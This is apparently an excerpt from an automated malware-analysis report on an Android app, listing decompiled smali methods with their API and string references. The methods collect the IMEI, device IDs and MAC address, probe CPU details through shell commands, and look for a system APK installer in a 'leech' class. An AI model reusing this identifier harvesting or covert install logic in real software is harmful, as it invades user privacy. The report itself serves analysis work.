                                                                              19invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              20move-result-object v1
                                                                              21const/16 v2, 0x18
                                                                              22new-array v2, v2, [B
                                                                              23goto_20:
                                                                              24invoke-virtual {v1, v2}, Ljava/io/InputStream;->read([B)I
                                                                              25move-result v3
                                                                              26const/4 v4, -0x1
                                                                              27if-eq v3, v4, :cond_3e
                                                                              28new-instance v3, Ljava/lang/StringBuilder;
                                                                              30invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              32invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              33move-result-object v3
                                                                              34new-instance v4, Ljava/lang/String;
                                                                              36invoke-direct {v4, v2}, Ljava/lang/String;-><init>([B)V
                                                                              38invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              39move-result-object v3
                                                                              41invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              42move-result-object v0
                                                                              43goto/16 :goto_20
                                                                              44cond_3e:
                                                                              45invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                                                                              46goto_41:
                                                                              47invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              48move-result-object v0
                                                                              49return-object v0
                                                                              50catch_46: move-exception v1
                                                                              51goto/16 :goto_41
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.ProcessBuilder.<init>
                                                                              • java.lang.ProcessBuilder.start
                                                                              • java.lang.Process.getInputStream
                                                                              • java.io.InputStream.read
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.String.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.InputStream.close
                                                                              • java.lang.String.trim
                                                                              Strings
                                                                              • /system/bin/cat
                                                                              • /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_min_freq
                                                                              Position Instruction Meta Information
                                                                              1const-string v0, ""
                                                                              2try_start_2: new-instance v1, Ljava/lang/ProcessBuilder;
                                                                              3const/4 v2, 0x2
                                                                              4new-array v2, v2, [Ljava/lang/String;
                                                                              5const/4 v3, 0x0
                                                                              7const-string v4, "/system/bin/cat"
                                                                              8aput-object v4, v2, v3
                                                                              9const/4 v3, 0x1
                                                                              11const-string v4, "/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_min_freq"
                                                                              12aput-object v4, v2, v3
                                                                              14invoke-direct {v1, v2}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                                                                              16invoke-virtual {v1}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                                                                              17move-result-object v1
                                                                              19invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              20move-result-object v1
                                                                              21const/16 v2, 0x18
                                                                              22new-array v2, v2, [B
                                                                              23goto_20:
                                                                              24invoke-virtual {v1, v2}, Ljava/io/InputStream;->read([B)I
                                                                              25move-result v3
                                                                              26const/4 v4, -0x1
                                                                              27if-eq v3, v4, :cond_3e
                                                                              28new-instance v3, Ljava/lang/StringBuilder;
                                                                              30invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              32invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              33move-result-object v3
                                                                              34new-instance v4, Ljava/lang/String;
                                                                              36invoke-direct {v4, v2}, Ljava/lang/String;-><init>([B)V
                                                                              38invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              39move-result-object v3
                                                                              41invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              42move-result-object v0
                                                                              43goto/16 :goto_20
                                                                              44cond_3e:
                                                                              45invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                                                                              46goto_41:
                                                                              47invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              48move-result-object v0
                                                                              49return-object v0
                                                                              50catch_46: move-exception v1
                                                                              51goto/16 :goto_41
                                                                              APIs
                                                                              • java.lang.Runtime.getRuntime
                                                                              • java.lang.Runtime.exec
                                                                              • java.lang.Process.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              Strings
                                                                              • getprop ro.product.cpu.abi
                                                                              • null
                                                                              • x86
                                                                              • arm64-v8a
                                                                              • armeabi
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v0, 0x0
                                                                              2try_start_1: new-instance v1, Ljava/io/BufferedReader;
                                                                              3new-instance v2, Ljava/io/InputStreamReader;
                                                                              5invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                                                              6move-result-object v3
                                                                              8const-string v4, "getprop ro.product.cpu.abi"
                                                                              10invoke-virtual {v3, v4}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                                                                              11move-result-object v3
                                                                              13invoke-virtual {v3}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              14move-result-object v3
                                                                              16invoke-direct {v2, v3}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              18invoke-direct {v1, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              20invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              21try_end_1c: move-result-object v0
                                                                              22goto_1d: if-nez v0, :cond_22
                                                                              24const-string v1, "null"
                                                                              25goto_21: return-object v1
                                                                              26cond_22: if-eqz v0, :cond_2f
                                                                              28const-string v1, "x86"
                                                                              30invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              31move-result v1
                                                                              32if-eqz v1, :cond_2f
                                                                              34const-string v1, "x86"
                                                                              35goto/16 :goto_21
                                                                              36cond_2f:
                                                                              37const-string v1, "arm64-v8a"
                                                                              39invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              40move-result v1
                                                                              41if-eqz v1, :cond_3a
                                                                              43const-string v1, "arm64-v8a"
                                                                              44goto/16 :goto_21
                                                                              45cond_3a:
                                                                              46const-string v1, "armeabi"
                                                                              47goto/16 :goto_21
                                                                              48catch_3d: move-exception v1
                                                                              49goto/16 :goto_1d
                                                                              APIs
                                                                              • android.content.Intent.getAction
                                                                              • android.content.Intent.getAction
                                                                              • java.lang.String.equals
                                                                              • android.content.Context.getApplicationContext
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.isAvailable
                                                                              Strings
                                                                              • android.net.conn.CONNECTIVITY_CHANGE
                                                                              • connectivity
                                                                              • walle
                                                                              • [stateless] net reveiver ok --->>>
                                                                              • [stateless] net reveiver disconnected --->>>
                                                                              Position Instruction Meta Information
                                                                              0if-eqz p1, :cond_53
                                                                              1if-eqz p2, :cond_53
                                                                              2try_start_4:
                                                                              3invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                                                              4move-result-object v0
                                                                              5if-eqz v0, :cond_53
                                                                              7invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                                                              8move-result-object v0
                                                                              10const-string v1, "android.net.conn.CONNECTIVITY_CHANGE"
                                                                              12invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              13move-result v0
                                                                              14if-eqz v0, :cond_53
                                                                              16invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              17move-result-object v0
                                                                              19invoke-static {v0}, LuAgent/commonsdk/stateless/d;->a(Landroid/content/Context;)Landroid/content/Context;
                                                                              21invoke-static {}, LuAgent/commonsdk/stateless/d;->b()Landroid/content/Context;
                                                                              22move-result-object v0
                                                                              23if-eqz v0, :cond_53
                                                                              25invoke-static {}, LuAgent/commonsdk/stateless/d;->b()Landroid/content/Context;
                                                                              26move-result-object v0
                                                                              28const-string v1, "connectivity"
                                                                              30invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              31move-result-object v0
                                                                              32check-cast v0, Landroid/net/ConnectivityManager;
                                                                              33if-eqz v0, :cond_53
                                                                              35invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              36move-result-object v0
                                                                              37if-eqz v0, :cond_54
                                                                              39invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                                                                              40move-result v0
                                                                              41if-eqz v0, :cond_54
                                                                              42const/4 v0, 0x1
                                                                              44invoke-static {v0}, LuAgent/commonsdk/stateless/d;->a(Z)Z
                                                                              46const-string v0, "walle"
                                                                              47const/4 v1, 0x1
                                                                              48new-array v1, v1, [Ljava/lang/Object;
                                                                              49const/4 v2, 0x0
                                                                              51const-string v3, "[stateless] net reveiver ok --->>>"
                                                                              52aput-object v3, v1, v2
                                                                              54invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              55const/16 v0, 0x111
                                                                              57invoke-static {v0}, LuAgent/commonsdk/stateless/d;->b(I)V
                                                                              58goto_53: return-void
                                                                              59cond_54:
                                                                              60const-string v0, "walle"
                                                                              61const/4 v1, 0x1
                                                                              62new-array v1, v1, [Ljava/lang/Object;
                                                                              63const/4 v2, 0x0
                                                                              65const-string v3, "[stateless] net reveiver disconnected --->>>"
                                                                              66aput-object v3, v1, v2
                                                                              68invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              69const/4 v0, 0x0
                                                                              71invoke-static {v0}, LuAgent/commonsdk/stateless/d;->a(Z)Z
                                                                              72try_end_65: goto/16 :goto_53
                                                                              73catch_66: move-exception v0
                                                                              75invoke-static {p1, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              76goto/16 :goto_53
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • getImei
                                                                              • No IMEI.
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x0
                                                                              1if-eqz p0, :cond_5c
                                                                              2try_start_3:
                                                                              3const-string v0, "phone"
                                                                              5invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              6move-result-object v0
                                                                              7check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              8if-eqz v0, :cond_5c
                                                                              10const-string v1, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v1}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13move-result v1
                                                                              14if-eqz v1, :cond_5c
                                                                              15sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              16try_end_17: const/16 v3, 0x1a
                                                                              17if-lt v1, v3, :cond_43
                                                                              18try_start_1b:
                                                                              19invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              20move-result-object v1
                                                                              22const-string v3, "getImei"
                                                                              23const/4 v4, 0x0
                                                                              24new-array v4, v4, [Ljava/lang/Class;
                                                                              26invoke-virtual {v1, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              27move-result-object v1
                                                                              28const/4 v3, 0x1
                                                                              30invoke-virtual {v1, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              31const/4 v3, 0x0
                                                                              32new-array v3, v3, [Ljava/lang/Object;
                                                                              34invoke-virtual {v1, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              35move-result-object v1
                                                                              36check-cast v1, Ljava/lang/String;
                                                                              37try_end_35:
                                                                              38invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              39move-result v2
                                                                              40if-eqz v2, :cond_5a
                                                                              42invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              43try_end_3e: move-result-object v0
                                                                              44cond_3f: return-object v0
                                                                              45catch_40: move-exception v1
                                                                              46move-object v1, v2
                                                                              47goto/16 :goto_35
                                                                              48cond_43:
                                                                              49invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              50try_end_46: move-result-object v0
                                                                              51goto/16 :goto_3f
                                                                              52catch_48: move-exception v0
                                                                              53move-object v1, v0
                                                                              54move-object v0, v2
                                                                              55goto_4b: sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              56if-eqz v2, :cond_3f
                                                                              58const-string v2, "No IMEI."
                                                                              60invoke-static {v2, v1}, LuAgent/commonsdk/statistics/common/MLog;->w(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                                              61goto/16 :goto_3f
                                                                              62catch_55: move-exception v0
                                                                              63move-object v5, v0
                                                                              64move-object v0, v1
                                                                              65move-object v1, v5
                                                                              66goto/16 :goto_4b
                                                                              67cond_5a: move-object v0, v1
                                                                              68goto/16 :goto_3f
                                                                              69cond_5c: move-object v0, v2
                                                                              70goto/16 :goto_3f
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.wifi.WifiManager.getConnectionInfo
                                                                              • android.net.wifi.WifiInfo.getMacAddress
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Throwable.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • wifi
                                                                              • android.permission.ACCESS_WIFI_STATE
                                                                              • Could not get mac address.[no permission android.permission.ACCESS_WIFI_STATE
                                                                              • Could not get mac address.
                                                                              Position Instruction Meta Information
                                                                              0const/4 v4, 0x1
                                                                              1const/4 v5, 0x0
                                                                              2if-nez p0, :cond_7
                                                                              4const-string v0, ""
                                                                              5goto_6: return-object v0
                                                                              6try_start_7:
                                                                              7const-string v0, "wifi"
                                                                              9invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              10move-result-object v0
                                                                              11check-cast v0, Landroid/net/wifi/WifiManager;
                                                                              13const-string v1, "android.permission.ACCESS_WIFI_STATE"
                                                                              15invoke-static {p0, v1}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              16move-result v1
                                                                              17if-eqz v1, :cond_20
                                                                              19invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
                                                                              20move-result-object v0
                                                                              22invoke-virtual {v0}, Landroid/net/wifi/WifiInfo;->getMacAddress()Ljava/lang/String;
                                                                              23move-result-object v0
                                                                              24goto/16 :goto_6
                                                                              25cond_20: sget-boolean v0, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              26if-eqz v0, :cond_31
                                                                              28sget-object v0, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              29const/4 v1, 0x1
                                                                              30new-array v1, v1, [Ljava/lang/Object;
                                                                              31const/4 v2, 0x0
                                                                              33const-string v3, "Could not get mac address.[no permission android.permission.ACCESS_WIFI_STATE"
                                                                              34aput-object v3, v1, v2
                                                                              36invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/MLog;->w(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              37cond_31:
                                                                              38const-string v0, ""
                                                                              39goto/16 :goto_6
                                                                              40catch_34: move-exception v0
                                                                              41sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              42if-eqz v1, :cond_59
                                                                              44sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              45new-array v2, v4, [Ljava/lang/Object;
                                                                              46new-instance v3, Ljava/lang/StringBuilder;
                                                                              48invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              50const-string v4, "Could not get mac address."
                                                                              52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              53move-result-object v3
                                                                              55invoke-virtual {v0}, Ljava/lang/Throwable;->toString()Ljava/lang/String;
                                                                              56move-result-object v0
                                                                              58invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              59move-result-object v0
                                                                              61invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              62move-result-object v0
                                                                              63aput-object v0, v2, v5
                                                                              65invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->w(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              66cond_59:
                                                                              67const-string v0, ""
                                                                              68goto/16 :goto_6
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.File.<init>
                                                                              • java.io.File.listFiles
                                                                              • java.util.Arrays.sort
                                                                              • java.io.File.delete
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • --->>> biger than 10
                                                                              • --->>> remove [
                                                                              • ] file fail.
                                                                              Position Instruction Meta Information
                                                                              0const/16 v3, 0x64
                                                                              1new-instance v0, Ljava/io/File;
                                                                              3invoke-static {p0}, LuAgent/commonsdk/framework/b;->h(Landroid/content/Context;)Ljava/lang/String;
                                                                              4move-result-object v1
                                                                              6invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              8sget-object v1, LuAgent/commonsdk/framework/b;->e:Ljava/lang/Object;
                                                                              9monitor-enter v1
                                                                              10try_start_e:
                                                                              11invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
                                                                              12move-result-object v2
                                                                              13if-eqz v2, :cond_17
                                                                              14array-length v0, v2
                                                                              15if-gt v0, v3, :cond_19
                                                                              16cond_17: monitor-exit v1
                                                                              17goto_18: return-void
                                                                              18cond_19: new-instance v0, LuAgent/commonsdk/framework/b$1;
                                                                              20invoke-direct {v0, p0}, LuAgent/commonsdk/framework/b$1;-><init>(Landroid/content/Context;)V
                                                                              22invoke-static {v2, v0}, Ljava/util/Arrays;->sort([Ljava/lang/Object;Ljava/util/Comparator;)V
                                                                              23array-length v0, v2
                                                                              24try_end_22: if-le v0, v3, :cond_5a
                                                                              25try_start_24:
                                                                              26const-string v0, "--->>> biger than 10"
                                                                              28invoke-static {v0}, LuAgent/commonsdk/statistics/common/e;->b(Ljava/lang/String;)V
                                                                              29const/4 v0, 0x0
                                                                              30goto_2a: array-length v3, v2
                                                                              31add-int/lit8 v3, v3, -0x64
                                                                              32if-ge v0, v3, :cond_5a
                                                                              33aget-object v3, v2, v0
                                                                              35invoke-virtual {v3}, Ljava/io/File;->delete()Z
                                                                              36move-result v3
                                                                              37if-nez v3, :cond_53
                                                                              38new-instance v3, Ljava/lang/StringBuilder;
                                                                              40invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              42const-string v4, "--->>> remove ["
                                                                              44invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              45move-result-object v3
                                                                              47invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              48move-result-object v3
                                                                              50const-string v4, "] file fail."
                                                                              52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              53move-result-object v3
                                                                              55invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              56move-result-object v3
                                                                              58invoke-static {v3}, LuAgent/commonsdk/statistics/common/e;->b(Ljava/lang/String;)V
                                                                              59cond_53: add-int/lit8 v0, v0, 0x1
                                                                              60goto/16 :goto_2a
                                                                              61catch_56: move-exception v0
                                                                              62try_start_57:
                                                                              63invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              64cond_5a: monitor-exit v1
                                                                              65goto/16 :goto_18
                                                                              66catchall_5c: move-exception v0
                                                                              67monitor-exit v1
                                                                              68try_end_5e: throw v0
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Integer.intValue
                                                                              • java.lang.Integer.TYPE:Ljava/lang/Class
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.Integer.valueOf
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • phone
                                                                              • getPhoneCount
                                                                              • getDeviceId
                                                                              Position Instruction Meta Information
                                                                              0const/4 v5, 0x2
                                                                              1const/4 v2, 0x0
                                                                              2if-eqz p0, :cond_56
                                                                              3sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              4const/16 v1, 0x17
                                                                              5if-lt v0, v1, :cond_56
                                                                              7const-string v0, "android.permission.READ_PHONE_STATE"
                                                                              9invoke-static {p0, v0}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              10move-result v0
                                                                              11if-eqz v0, :cond_56
                                                                              12try_start_12:
                                                                              13const-string v0, "phone"
                                                                              15invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              16move-result-object v0
                                                                              17check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              19invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              20move-result-object v3
                                                                              22const-string v1, "getPhoneCount"
                                                                              23const/4 v4, 0x0
                                                                              24new-array v4, v4, [Ljava/lang/Class;
                                                                              26invoke-virtual {v3, v1, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              27move-result-object v1
                                                                              28const/4 v4, 0x0
                                                                              29new-array v4, v4, [Ljava/lang/Object;
                                                                              31invoke-virtual {v1, v0, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              32move-result-object v1
                                                                              33check-cast v1, Ljava/lang/Integer;
                                                                              35invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                                                                              36move-result v1
                                                                              37if-ne v1, v5, :cond_57
                                                                              39const-string v1, "getDeviceId"
                                                                              40const/4 v4, 0x1
                                                                              41new-array v4, v4, [Ljava/lang/Class;
                                                                              42const/4 v5, 0x0
                                                                              44sget-object v6, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                                              45aput-object v6, v4, v5
                                                                              47invoke-virtual {v3, v1, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              48move-result-object v1
                                                                              49const/4 v3, 0x1
                                                                              50new-array v3, v3, [Ljava/lang/Object;
                                                                              51const/4 v4, 0x0
                                                                              52const/4 v5, 0x2
                                                                              54invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              55move-result-object v5
                                                                              56aput-object v5, v3, v4
                                                                              58invoke-virtual {v1, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              59move-result-object v0
                                                                              60check-cast v0, Ljava/lang/String;
                                                                              61goto_55: move-object v2, v0
                                                                              62goto_56: return-object v2
                                                                              63cond_57: move-object v0, v2
                                                                              64goto/16 :goto_55
                                                                              65catch_59: move-exception v0
                                                                              66goto/16 :goto_56
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setDataAndType
                                                                              • android.content.pm.PackageManager.queryIntentActivities
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.packageName:Ljava/lang/String
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.name:Ljava/lang/String
                                                                              • android.content.ComponentName.<init>
                                                                              Strings
                                                                              • android.intent.action.VIEW
                                                                              • application/vnd.android.package-archive
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "filePath" # Ljava/lang/String;
                                                                              1.prologue
                                                                              2try_start_0:
                                                                              3invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              4move-result-object v5
                                                                              6invoke-virtual {v5}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              7move-result-object v2
                                                                              8new-instance v5, Ljava/io/File;
                                                                              10invoke-direct {v5, p0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              12invoke-static {v5}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              13move-result-object v4
                                                                              14new-instance v1, Landroid/content/Intent;
                                                                              16const-string v5, "android.intent.action.VIEW"
                                                                              18invoke-direct {v1, v5}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              20const-string v5, "application/vnd.android.package-archive"
                                                                              22invoke-virtual {v1, v4, v5}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                                                                              23const/high16 v5, 0x10000
                                                                              25invoke-virtual {v2, v1, v5}, Landroid/content/pm/PackageManager;->queryIntentActivities(Landroid/content/Intent;I)Ljava/util/List;
                                                                              26move-result-object v0
                                                                              28invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              29move-result-object v5
                                                                              30cond_27:
                                                                              31invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                                                                              32move-result v6
                                                                              33if-eqz v6, :cond_4c
                                                                              35invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              36move-result-object v3
                                                                              37check-cast v3, Landroid/content/pm/ResolveInfo;
                                                                              39iget-object v6, v3, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              41iget-object v6, v6, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              42iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I
                                                                              43and-int/lit8 v6, v6, 0x1
                                                                              44if-eqz v6, :cond_27
                                                                              45new-instance v5, Landroid/content/ComponentName;
                                                                              47iget-object v6, v3, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              49iget-object v6, v6, Landroid/content/pm/ActivityInfo;->packageName:Ljava/lang/String;
                                                                              51iget-object v7, v3, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              53iget-object v7, v7, Landroid/content/pm/ActivityInfo;->name:Ljava/lang/String;
                                                                              55invoke-direct {v5, v6, v7}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              56goto_4a: return-object v5
                                                                              57catch_4b: move-exception v5
                                                                              58cond_4c: const/4 v5, 0x0
                                                                              59goto/16 :goto_4a
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setDataAndType
                                                                              • android.content.pm.PackageManager.queryIntentActivities
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.ComponentInfo.packageName:Ljava/lang/String
                                                                              • android.content.pm.ComponentInfo.name:Ljava/lang/String
